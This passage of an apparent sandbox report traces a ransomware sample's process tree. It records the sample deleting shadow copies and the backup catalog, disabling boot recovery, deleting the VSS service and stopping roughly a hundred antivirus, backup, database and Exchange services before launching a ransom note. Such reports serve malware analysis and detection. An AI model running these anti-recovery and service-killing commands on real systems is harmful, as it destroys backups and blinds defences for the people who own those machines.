  "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1168
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1248
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
  2⤵
  PID:1392
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1780
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:1164
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:1168
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:432
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:1828
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:1996
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:1584
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:2004
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:948
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:1964
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:1768
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:1444
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:1748
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:1224
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:976
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:1644
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:1208
- C:\Windows\SysWOW64\net.exe
  "net.exe" top SavRoam /y
  2⤵
  PID:1248
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 top SavRoam /y
    3⤵
    PID:1400
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:588
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:292
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:1968
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:2028
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:1736
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:1404
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:916
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:2104
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:1520
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:2164
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:2084
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:2264
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:2120
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:2244
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:2132
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:2280
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:2180
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:2384
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:2232
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:2464
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:2212
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:2392
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:2292
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:2592
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:2332
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:2480
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:2304
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:2580
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:2348
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:2644
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:2368
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:1752
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:2428
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:2612
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:2444
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:924
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop BackupExecJobEngine /y
      4⤵
      PID:1724
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:2504
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:2620
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:2516
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:1724
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:2536
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:2248
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:2572
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:2328
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop FCS /y
  2⤵
  PID:2880
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop FCS /y
    3⤵
    PID:2272
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QuickBooks /y
  2⤵
  PID:2872
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QuickBooks /y
    3⤵
    PID:2144
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit /y
  2⤵
  PID:2864
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit /y
    3⤵
    PID:2188
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:2856
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:2412
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QLADHLP /y
  2⤵
  PID:2848
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QLADHLP /y
    3⤵
    PID:1440
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLBrowser /y
  2⤵
  PID:3044
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLBrowser /y
    3⤵
    PID:2396
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$VEEAMSQL2012 /y
  2⤵
  PID:3036
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y
    3⤵
    PID:2860
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$VEEAMSQL2012 /y
  2⤵
  PID:3028
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y
    3⤵
    PID:2088
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ##WID /y
  2⤵
  PID:3020
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ##WID /y
    3⤵
    PID:2564
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$MICROSOFT /y
  2⤵
  PID:3012
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$MICROSOFT /y
    3⤵
    PID:2216
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop dbeng8 /y
  2⤵
  PID:3004
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop dbeng8 /y
    3⤵
    PID:2488
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop dbsrv12 /y
  2⤵
  PID:2996
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop dbsrv12 /y
    3⤵
    PID:2208
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop vmware-converter /y
  2⤵
  PID:2988
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop vmware-converter /y
    3⤵
    PID:2628
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop vmware /y
  2⤵
  PID:2980
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop vmware /y
    3⤵
    PID:2388
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:2964
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:2196
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop tomcat6 /y
  2⤵
  PID:2932
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop tomcat6 /y
    3⤵
    PID:2268
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQLFDLauncher$SBSMONITORING /y
  2⤵
  PID:1572
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y
    3⤵
    PID:2584
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$SHAREPOINT /y
  2⤵
  PID:1596
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y
    3⤵
    PID:2300
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$SHAREPOINT /y
  2⤵
  PID:300
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y
    3⤵
    PID:2392
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$SBSMONITORING /y
  2⤵
  PID:308
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y
    3⤵
    PID:2544
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$SBSMONITORING /y
  2⤵
  PID:2080
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y
    3⤵
    PID:2560
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$MICROSOFT##SSEE /y
  2⤵
  PID:1624
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$MICROSOFT##SSEE /y
    3⤵
    PID:2520
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Exchange /y
  2⤵
  PID:2028
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Exchange /y
    3⤵
    PID:2320
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop msftesql /y
  2⤵
  PID:2076
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop msftesql /y
    3⤵
    PID:2284
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$KAV_CS_ADMIN_KIT /y
  2⤵
  PID:1944
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$KAV_CS_ADMIN_KIT /y
    3⤵
    PID:2204
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQLServerADHelper100 /y
  2⤵
  PID:2036
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
    3⤵
    PID:2248
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$KAV_CS_ADMIN_KIT /y
  2⤵
  PID:1556
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$KAV_CS_ADMIN_KIT /y
    3⤵
    PID:2360
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MySQL57 /y
  2⤵
  PID:1320
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MySQL57 /y
    3⤵
    PID:2436
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$MICROSOFT /y
  2⤵
  PID:944
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$MICROSOFT /y
    3⤵
    PID:2156
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop FishbowlMySQL /y
  2⤵
  PID:2060
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop FishbowlMySQL /y
    3⤵
    PID:2220
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLWriter /y
  2⤵
  PID:3056
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLWriter /y
    3⤵
    PID:2228
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop msmdsrv /y
  2⤵
  PID:2912
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop msmdsrv /y
    3⤵
    PID:2112
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:2896
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:2512
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sqlbrowser /y
  2⤵
  PID:2840
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sqlbrowser /y
    3⤵
    PID:2252
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:2832
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:3032
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Culserver /y
  2⤵
  PID:2824
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Culserver /y
    3⤵
    PID:2244
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sqladhlp /y
  2⤵
  PID:2816
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sqladhlp /y
    3⤵
    PID:2588
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sqlagent /y
  2⤵
  PID:2808
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sqlagent /y
    3⤵
    PID:2460
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Sqlservr /y
  2⤵
  PID:2768
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sqlservr /y
    3⤵
    PID:1404
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:2744
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:2200
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:2736
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:292
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:2728
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:2480
- C:\Windows\SysWOW64\net.exe
  "net.exe" DefWatch
  2⤵
  PID:2720
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 DefWatch
    3⤵
    PID:2316
- C:\Windows\SysWOW64\net.exe
  "net.exe" wrapper
  2⤵
  PID:2712
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 wrapper
    3⤵
    PID:2192
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mysql57
  2⤵
  PID:2704
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mysql57
    3⤵
    PID:2308
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop -n apache24
  2⤵
  PID:2696
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop -n apache24
    3⤵
    PID:2424
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:2688
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:2788
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:2680
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:2672
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:2440
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:2664
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:2656
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$SHAREPOINT /y
  2⤵
  PID:2256
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y
    3⤵
    PID:1276
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:2364
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:832
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBVSS /y
  2⤵
  PID:2456
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBVSS /y
    3⤵
    PID:2468
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:1104
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:2652
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:2876
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:2320
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop svc$ /y
  2⤵
  PID:2336
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop svc$ /y
    3⤵
    PID:2244
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sql /y
  2⤵
  PID:2148
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sql /y
    3⤵
    PID:1684
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop vss /y
  2⤵
  PID:2968
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop vss /y
    3⤵
    PID:2396
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL /y
  2⤵
  PID:2684
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL /y
    3⤵
    PID:2940
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$ /y
  2⤵
  PID:1032
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$ /y
    3⤵
    PID:2752
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop memtas /y
  2⤵
  PID:2812
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop memtas /y
    3⤵
    PID:2220
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mepocs /y
  2⤵
  PID:2472
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mepocs /y
    3⤵
    PID:2352
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:652
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:2584
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:2420
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:2356
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop backup /y
  2⤵
  PID:2416
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop backup /y
    3⤵
    PID:2340
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop bedbg /y
  2⤵
  PID:1472
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop bedbg /y
    3⤵
    PID:2692
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:2408
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:1732
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:2804
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:2308
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:2316
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:2592
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:960
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:2640
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:2740
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:2700
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MVArmor /y
  2⤵
  PID:2792
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MVArmor /y
    3⤵
    PID:2404
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:1976
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:2396
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:2100
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:1560
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ARSM /y
  2⤵
  PID:2156
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ARSM /y
    3⤵
    PID:1440
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:2248
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:2836
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:2280
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:1960
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:1208
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:2384
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:1752
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:2188
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:2208
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:3040
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:2608
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MVarmor64 /y
  2⤵
  PID:1876
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MVarmor64 /y
    3⤵
    PID:2152
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:1168
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:1544
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:2164
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:924
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSExchange /y
  2⤵
  PID:2612
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSExchange /y
    3⤵
    PID:832
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop WSBExchange /y
  2⤵
  PID:2476
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop WSBExchange /y
    3⤵
    PID:2748
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:2224
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:2652
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSExchange$ /y
  2⤵
  PID:2252
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSExchange$ /y
    3⤵
    PID:2468
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C sc delete VSS
  2⤵
  PID:1760
- - C:\Windows\SysWOW64\sc.exe
    sc delete VSS
    3⤵
    - Launches sc.exe
    PID:2108
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
  2⤵
  PID:2644
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
  2⤵
  PID:2352
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1652
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2756
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
  2⤵
  PID:1748
- C:\Users\Admin\AppData\Local\Temp\lsm.exe
  "C:\Users\Admin\AppData\Local\Temp\lsm.exe"
  2⤵
  - Executes dropped EXE
  PID:2452
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\is64.bat" "
    3⤵
    PID:2284
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:2388
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:2288
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
